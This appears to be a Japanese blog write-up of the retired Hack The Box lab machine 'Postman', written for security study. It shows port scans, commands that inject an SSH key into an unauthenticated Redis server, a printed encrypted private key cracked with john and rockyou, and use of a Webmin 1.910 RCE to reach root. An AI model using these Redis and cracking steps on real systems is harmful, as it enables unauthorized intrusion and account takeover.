「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。
今回は、HackTheBoxのリタイアマシン「Postman」のWriteUpです。
本記事について
本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。
自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。
またすべての発言は所属団体ではなく個人に帰属します。
もくじ
探索
まずはいつも通りポートスキャンから始めていきます。
sudo sed -i 's/^[0-9].*$RHOST/10.10.10.160 $RHOST/g' /etc/hosts
nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt
# All ports
nmap -p- $RHOST -Pn -sC -sV -A | tee nmap_max.txt
MiniServ 1.910
というアプリケーションは初めて見ました。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
|_http-server-header: Apache/2.4.29 (Ubuntu)
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
とりあえず80番ポートに繋いで見ると、ブログサイトのようなページが出てきました。
ページのソースも含めて確認したものの特に面白い情報はなく、gobusterをかけても有益なパスは見つかりませんでした。
一方、10000ポートの方のWebmin-1.910にはRCEの脆弱性が存在するようです。
ただし、この脆弱性の悪用にはクレデンシャル情報が必要らしく、まずはそれを探す必要があるようでした。
Webminへのアクセスにはpostman:10000
が必要なようでしたので、hostsを書き換えて接続を行いました。
ここで少し行き詰りましたが、さらに詳細なポートスキャンをかけたところ、6379ポートも空いていることがわかりました。
6379/tcp open redis Redis key-value store 4.0.9
参考:6379 - Pentesting Redis - HackTricks
ここで上記のリンクを参考に一通りリバースシェルやファイルの埋め込みなどを試してみたものの、上手く刺さりませんでした。
しかし、最終的に以下のコマンドでSSHのシェルを取得することに成功しました。
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -h 10.10.10.160 -x set ssh_key
redis-cli -h 10.10.10.160
config set dir /var/lib/redis/.ssh
config set dbfilename "authorized_keys"
save
Userの取得
redisの権限でシェルが取得できましたので、次にUserの獲得を目指します。
User名はMattとなっていました。
Historyを見ると何やらMattの権限でちょいちょい操作を行っているようです。
redis@Postman:~$ history
1 exit
2 su Matt
3 pwd
4 nano scan.py
5 python scan.py
6 nano scan.py
7 clear
8 nano scan.py
9 clear
10 python scan.py
11 exit
12 exit
13 cat /etc/ssh/sshd_config
14 su Matt
15 clear
16 cd /var/lib/redis
17 su Matt
18 exit
19 cat id_rsa.bak
20 ls -la
21 exit
22 cat id_rsa.bak
23 exit
24 ls -la
25 crontab -l
26 systemctl enable redis-server
27 redis-server
28 ifconfig
29 netstat -a
30 netstat -a
31 netstat -a
32 netstat -a
33 netstat -a > txt
34 exit
35 crontab -l
36 cd ~/
37 ls
38 nano 6379
39 exit
色々と調べたいポイントはありますが、まずはid_rsa.bak
を見ていこうと思います。
ファイルを開いて見ると、暗号化された秘密鍵のようです。
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----
何かしらのパスワードが端末から拾えれば復号できそうな気がします。
しかし、ここで探索に行き詰ったのでlinpeasをかけてみました。
しかし何もわからなかったので、ブルートフォースのアプローチを試してみることにしました。
以下のコマンドでパスワードを解析します。
# SSHキーの解析
$ python /usr/share/john/ssh2john.py id_rsa.txt > id.hash
$ john id.hash -wordlist=/usr/share/wordlists/rockyou.txt
ここで解析したパスフレーズからRSAキーを複合したものの、この鍵を使おうとするとなぜかSSHに失敗しました。
$ $ openssl rsa -in encrypted -out decrypted
最終的にredisで取得していたSSHからsu Matt
で先ほどのパスワードを入力し、Userを取得することができました。
権限昇格
Mattのシェルを取得してからhistoryを叩くと、かなり色々なコマンドを実行していたことがわかります。
とはいえ、ひとまずはMattの権限でlinpeasを実行してみることにしました。
しかし、権限昇格に繋がりそうな情報はみつかりません。
つづいて、だめもとでWebAdminにユーザ名Mattに先ほどのパスワードを入力してみたところ、コンソールにログインができました。
バージョンは1.910のようです。
ここでlinpeasの結果から、WebAdminがroot権限で動いていることがわかりました。
また、WebAdmin 1.910にて、認証情報があればRCEが可能な脆弱性を悪用できることを確認しました。
そこで上記のエクスプロイトを少し改変して実行したところ、無事にrootが取得できました。
以上!!